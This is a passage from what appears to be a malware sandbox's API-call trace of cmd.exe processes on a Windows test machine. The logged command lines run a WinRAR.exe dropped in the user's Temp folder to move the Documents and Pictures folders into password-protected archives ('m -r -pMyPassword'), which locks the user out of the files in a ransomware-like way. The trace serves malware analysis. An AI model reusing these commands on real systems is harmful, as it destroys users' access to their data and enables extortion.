lpFileName="C:\\Users", lpFindFileData=0x32f6ec | out: lpFindFileData=0x32f6ec) returned 0x6e5750 [0046.249] FindClose (in: hFindFile=0x6e5750 | out: hFindFile=0x6e5750) returned 1 [0046.249] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD", lpFindFileData=0x32f6ec | out: lpFindFileData=0x32f6ec) returned 0x6e5750 [0046.249] FindClose (in: hFindFile=0x6e5750 | out: hFindFile=0x6e5750) returned 1 [0046.249] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", lpFindFileData=0x32f6ec | out: lpFindFileData=0x32f6ec) returned 0x6e5750 [0046.249] FindClose (in: hFindFile=0x6e5750 | out: hFindFile=0x6e5750) returned 1 [0046.249] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.249] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 1 [0046.250] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\WhuOXYsD\\Desktop") returned 1 [0046.250] GetProcessHeap () returned 0x6d0000 [0046.250] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e4c80 | out: hHeap=0x6d0000) returned 1 [0046.250] GetEnvironmentStringsW () returned 0x6e41b0* [0046.250] GetProcessHeap () returned 0x6d0000 [0046.250] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xb00) returned 0x6e5f90 [0046.250] FreeEnvironmentStringsW (penv=0x6e41b0) returned 1 [0046.250] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.250] GetProcessHeap () returned 0x6d0000 [0046.250] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e2008 | out: hHeap=0x6d0000) returned 1 [0046.250] GetProcessHeap () returned 0x6d0000 [0046.250] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x400e) returned 0x6e6a98 [0046.250] GetProcessHeap () returned 0x6d0000 [0046.250] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xee) returned 0x6e2ea8 [0046.250] GetProcessHeap () returned 0x6d0000 [0046.250] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e6a98 | out: hHeap=0x6d0000) returned 1 [0046.250] GetConsoleOutputCP () returned 0x1b5 [0046.250] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0046.250] GetUserDefaultLCID () returned 0x409 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a764950, cchData=8 | out: lpLCData=":") returned 2 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x32fab0, cchData=128 | out: lpLCData="0") returned 2 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x32fab0, cchData=128 | out: lpLCData="0") returned 2 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x32fab0, cchData=128 | out: lpLCData="1") returned 2 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a764940, cchData=8 | out: lpLCData="/") returned 2 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a764d80, cchData=32 | out: lpLCData="Mon") returned 4 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a764d40, cchData=32 | out: lpLCData="Tue") returned 4 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a764d00, cchData=32 | out: lpLCData="Wed") returned 4 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a764cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a764c80, cchData=32 | out: lpLCData="Fri") returned 4 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a764c40, cchData=32 | out: lpLCData="Sat") returned 4 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a764c00, cchData=32 | out: lpLCData="Sun") returned 4 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a764930, cchData=8 | out: lpLCData=".") returned 2 [0046.251] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a764920, cchData=8 | out: lpLCData=",") returned 2 [0046.251] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.252] GetProcessHeap () returned 0x6d0000 [0046.252] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x20c) returned 0x6e2fa0 [0046.252] GetConsoleTitleW (in: lpConsoleTitle=0x6e2fa0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.253] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x769a0000 [0046.253] GetProcAddress (hModule=0x769a0000, lpProcName="CopyFileExW") returned 0x769d3b92 [0046.253] GetProcAddress (hModule=0x769a0000, lpProcName="IsDebuggerPresent") returned 0x769b4a5d [0046.253] GetProcAddress (hModule=0x769a0000, lpProcName="SetConsoleInputExeNameW") returned 0x769ca79d [0046.253] GetProcessHeap () returned 0x6d0000 [0046.253] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x400a) returned 0x6e6a98 [0046.253] GetProcessHeap () returned 0x6d0000 [0046.253] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e6a98 | out: hHeap=0x6d0000) returned 1 [0046.254] _wcsicmp (_String1="cd", _String2=")") returned 58 [0046.254] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0046.254] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0046.254] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0046.254] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0046.254] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0046.254] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0046.254] GetProcessHeap () returned 0x6d0000 [0046.254] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x58) returned 0x6e31b8 [0046.254] GetProcessHeap () returned 0x6d0000 [0046.254] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xe) returned 0x6e0068 [0046.254] GetProcessHeap () returned 0x6d0000 [0046.254] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x44) returned 0x6e3218 [0046.255] GetProcessHeap () returned 0x6d0000 [0046.255] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x58) returned 0x6e3268 [0046.256] _wcsicmp (_String1="FOR", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0046.256] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0046.256] _wcsicmp (_String1="IF", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0046.257] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0046.257] _wcsicmp (_String1="REM", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0046.257] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0046.257] GetProcessHeap () returned 0x6d0000 [0046.257] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x58) returned 0x6e32c8 [0046.257] GetProcessHeap () returned 0x6d0000 [0046.257] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x6a) returned 0x6e3328 [0046.257] GetProcessHeap () returned 0x6d0000 [0046.257] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x46) returned 0x6e33a0 [0046.257] GetConsoleTitleW (in: lpConsoleTitle=0x32f744, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.258] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0046.258] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0046.258] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0046.258] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0046.258] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0046.258] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0046.258] GetProcessHeap () returned 0x6d0000 [0046.258] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x80) returned 0x6e33f0 [0046.259] GetProcessHeap () returned 0x6d0000 [0046.259] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x6e33f0, Size=0x42) returned 0x6e33f0 [0046.259] GetProcessHeap () returned 0x6d0000 [0046.259] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x6e33f0) returned 0x42 [0046.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.259] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x32f500, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x32f4f8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x32f4f8*=0xf0d19656, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.260] GetProcessHeap () returned 0x6d0000 [0046.260] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x4a) returned 0x6e3440 [0046.260] GetProcessHeap () returned 0x6d0000 [0046.260] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x80) returned 0x6e3498 [0046.261] GetProcessHeap () returned 0x6d0000 [0046.261] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x6e3498, Size=0x44) returned 0x6e3498 [0046.261] GetProcessHeap () returned 0x6d0000 [0046.261] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x6e3498) returned 0x44 [0046.261] _wcsnicmp (_String1="C:", _String2="/D", _MaxCount=0x2) returned 52 [0046.261] GetProcessHeap () returned 0x6d0000 [0046.261] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x40) returned 0x6e34e8 [0046.261] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f2a4 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.261] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", nBufferLength=0x104, lpBuffer=0x32f2a4, lpFilePart=0x32f2a0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents", lpFilePart=0x32f2a0*="Documents") returned 0x1b [0046.261] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Documents" (normalized: "c:\\users\\whuoxysd\\documents")) returned 0x11 [0046.261] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f020 | out: lpFindFileData=0x32f020) returned 0x6e3530 [0046.261] FindClose (in: hFindFile=0x6e3530 | out: hFindFile=0x6e3530) returned 1 [0046.261] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD", lpFindFileData=0x32f020 | out: lpFindFileData=0x32f020) returned 0x6e3530 [0046.261] FindClose (in: hFindFile=0x6e3530 | out: hFindFile=0x6e3530) returned 1 [0046.262] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Documents", lpFindFileData=0x32f020 | out: lpFindFileData=0x32f020) returned 0x6e3530 [0046.262] FindClose (in: hFindFile=0x6e3530 | out: hFindFile=0x6e3530) returned 1 [0046.262] _wcsnicmp (_String1="DOCUME~1", _String2="Documents", _MaxCount=0x9) returned 16 [0046.262] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Documents" (normalized: "c:\\users\\whuoxysd\\documents")) returned 0x11 [0046.262] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Documents" (normalized: "c:\\users\\whuoxysd\\documents")) returned 1 [0046.262] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\WhuOXYsD\\Documents") returned 1 [0046.262] GetProcessHeap () returned 0x6d0000 [0046.262] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e5f90 | out: hHeap=0x6d0000) returned 1 [0046.262] GetEnvironmentStringsW () returned 0x6e5f90* [0046.262] GetProcessHeap () returned 0x6d0000 [0046.262] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xb04) returned 0x6e6aa0 [0046.262] FreeEnvironmentStringsW (penv=0x6e5f90) returned 1 [0046.262] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Documents") returned 0x1b [0046.262] GetProcessHeap () returned 0x6d0000 [0046.262] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e34e8 | out: hHeap=0x6d0000) returned 1 [0046.262] GetConsoleTitleW (in: lpConsoleTitle=0x32f744, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.262] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.262] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.262] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x32f500, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x32f4f8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x32f4f8*=0xf0d19656, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.262] GetProcessHeap () returned 0x6d0000 [0046.263] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x210) returned 0x6d2720 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xa8) returned 0x6e34e8 [0046.263] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x418) returned 0x6d0c28 [0046.263] SetErrorMode (uMode=0x0) returned 0x0 [0046.263] SetErrorMode (uMode=0x1) returned 0x0 [0046.263] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\.", nBufferLength=0x208, lpBuffer=0x6d0c30, lpFilePart=0x32f264 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp", lpFilePart=0x32f264*="Temp") returned 0x24 [0046.263] SetErrorMode (uMode=0x0) returned 0x1 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x6d0c28, Size=0x68) returned 0x6d0c28 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x6d0c28) returned 0x68 [0046.263] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\.") returned 1 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x58) returned 0x6e3598 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xa4) returned 0x6e35f8 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x6e35f8, Size=0x58) returned 0x6e35f8 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x6e35f8) returned 0x58 [0046.263] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.263] GetProcessHeap () returned 0x6d0000 [0046.263] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xe0) returned 0x6d07f0 [0046.264] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x6d07f0, Size=0x76) returned 0x6d07f0 [0046.264] GetProcessHeap () returned 0x6d0000 [0046.264] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x6d07f0) returned 0x76 [0046.265] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.265] FindFirstFileExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", fInfoLevelId=0x1, lpFindFileData=0x32f000, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x32f000) returned 0x6e3658 [0046.265] GetProcessHeap () returned 0x6d0000 [0046.265] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x14) returned 0x6e3698 [0046.265] FindClose (in: hFindFile=0x6e3658 | out: hFindFile=0x6e3658) returned 1 [0046.265] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0046.265] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0046.265] GetConsoleTitleW (in: lpConsoleTitle=0x32f4d8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.266] InitializeProcThreadAttributeList (in: lpAttributeList=0x32f360, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x32f428 | out: lpAttributeList=0x32f360, lpSize=0x32f428) returned 1 [0046.266] UpdateProcThreadAttribute (in: lpAttributeList=0x32f360, dwFlags=0x0, Attribute=0x60001, lpValue=0x32f420, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x32f360, lpPreviousValue=0x0) returned 1 [0046.266] GetStartupInfoW (in: lpStartupInfo=0x32f31c | out: lpStartupInfo=0x32f31c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0046.266] lstrcmpW (lpString1="\\WinRAR.exe", lpString2="\\XCOPY.EXE") returned -1 [0046.267] CreateProcessW (in: lpApplicationName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\WinRAR.exe", lpCommandLine="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\WhuOXYsD\\Documents", lpStartupInfo=0x32f3bc*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x32f408 | out: lpCommandLine="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Documents *", lpProcessInformation=0x32f408*(hProcess=0x78, hThread=0x1c, dwProcessId=0xa20, dwThreadId=0xa30)) returned 1 [0046.374] CloseHandle (hObject=0x1c) returned 1 [0046.374] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0046.374] GetProcessHeap () returned 0x6d0000 [0046.374] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x6e6aa0 | out: hHeap=0x6d0000) returned 1 [0046.374] GetEnvironmentStringsW () returned 0x6e5f90* [0046.375] GetProcessHeap () returned 0x6d0000 [0046.375] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xb04) returned 0x6e6aa0 [0046.375] FreeEnvironmentStringsW (penv=0x6e5f90) returned 1 [0046.375] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4cda0000" os_pid = "0x244" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x948" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Pictures && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" cur_dir = "C:\\Users\\WhuOXYsD\\Desktop\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 23 os_tid = 0x950 [0046.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f978 | out: lpSystemTimeAsFileTime=0x28f978*(dwLowDateTime=0x31378740, dwHighDateTime=0x1d4e94c)) [0046.227] GetCurrentProcessId () returned 0x244 [0046.227] GetCurrentThreadId () returned 0x950 [0046.227] GetTickCount () returned 0xa63cc4 [0046.227] QueryPerformanceCounter (in: lpPerformanceCount=0x28f970 | out: lpPerformanceCount=0x28f970*=12156766839) returned 1 [0046.228] GetModuleHandleA (lpModuleName=0x0) returned 0x4a740000 [0046.228] __set_app_type (_Type=0x1) [0046.228] __p__fmode () returned 0x777531f4 [0046.228] __p__commode () returned 0x777531fc [0046.228] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7621a6) returned 0x0 [0046.228] __getmainargs (in: _Argc=0x4a764238, _Argv=0x4a764240, _Env=0x4a76423c, _DoWildCard=0, _StartInfo=0x4a764140 | out: _Argc=0x4a764238, _Argv=0x4a764240, _Env=0x4a76423c) returned 0 [0046.228] GetCurrentThreadId () returned 0x950 [0046.228] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x950) returned 0x60 [0046.228] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x769a0000 [0046.229] GetProcAddress (hModule=0x769a0000, lpProcName="SetThreadUILanguage") returned 0x769ca84f [0046.229] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.229] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.229] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28f908 | out: phkResult=0x28f908*=0x0) returned 0x2 [0046.229] VirtualQuery (in: lpAddress=0x28f93f, lpBuffer=0x28f8d8, dwLength=0x1c | out: lpBuffer=0x28f8d8*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.229] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28f8d8, dwLength=0x1c | out: lpBuffer=0x28f8d8*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0046.229] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28f8d8, dwLength=0x1c | out: lpBuffer=0x28f8d8*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0046.229] VirtualQuery (in: lpAddress=0x193000, lpBuffer=0x28f8d8, dwLength=0x1c | out: lpBuffer=0x28f8d8*(BaseAddress=0x193000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.229] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28f8d8, dwLength=0x1c | out: lpBuffer=0x28f8d8*(BaseAddress=0x290000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.229] GetConsoleOutputCP () returned 0x1b5 [0046.229] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0046.229] SetConsoleCtrlHandler (HandlerRoutine=0x4a75e72a, Add=1) returned 1 [0046.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.229] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0046.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.230] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7641ac | out: lpMode=0x4a7641ac) returned 1 [0046.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.230] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.230] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.230] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7641b0 | out: lpMode=0x4a7641b0) returned 1 [0046.230] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.230] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0046.230] GetEnvironmentStringsW () returned 0x522178* [0046.230] GetProcessHeap () returned 0x510000 [0046.230] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xaac) returned 0x522c30 [0046.231] FreeEnvironmentStringsW (penv=0x522178) returned 1 [0046.231] GetProcessHeap () returned 0x510000 [0046.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x521858 [0046.231] GetEnvironmentStringsW () returned 0x522178* [0046.231] GetProcessHeap () returned 0x510000 [0046.231] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xaac) returned 0x5236e8 [0046.231] FreeEnvironmentStringsW (penv=0x522178) returned 1 [0046.231] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e878 | out: phkResult=0x28e878*=0x68) returned 0x0 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x0, lpData=0x28e884*=0x0, lpcbData=0x28e87c*=0x1000) returned 0x2 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x1, lpcbData=0x28e87c*=0x4) returned 0x0 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x0, lpData=0x28e884*=0x1, lpcbData=0x28e87c*=0x1000) returned 0x2 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x0, lpcbData=0x28e87c*=0x4) returned 0x0 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x40, lpcbData=0x28e87c*=0x4) returned 0x0 [0046.231] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e880, lpData=0x28e884, lpcbData=0x28e87c*=0x1000 | out: lpType=0x28e880*=0x4, lpData=0x28e884*=0x40, lpcbData=0x28e87c*=0x4) returned 0x0 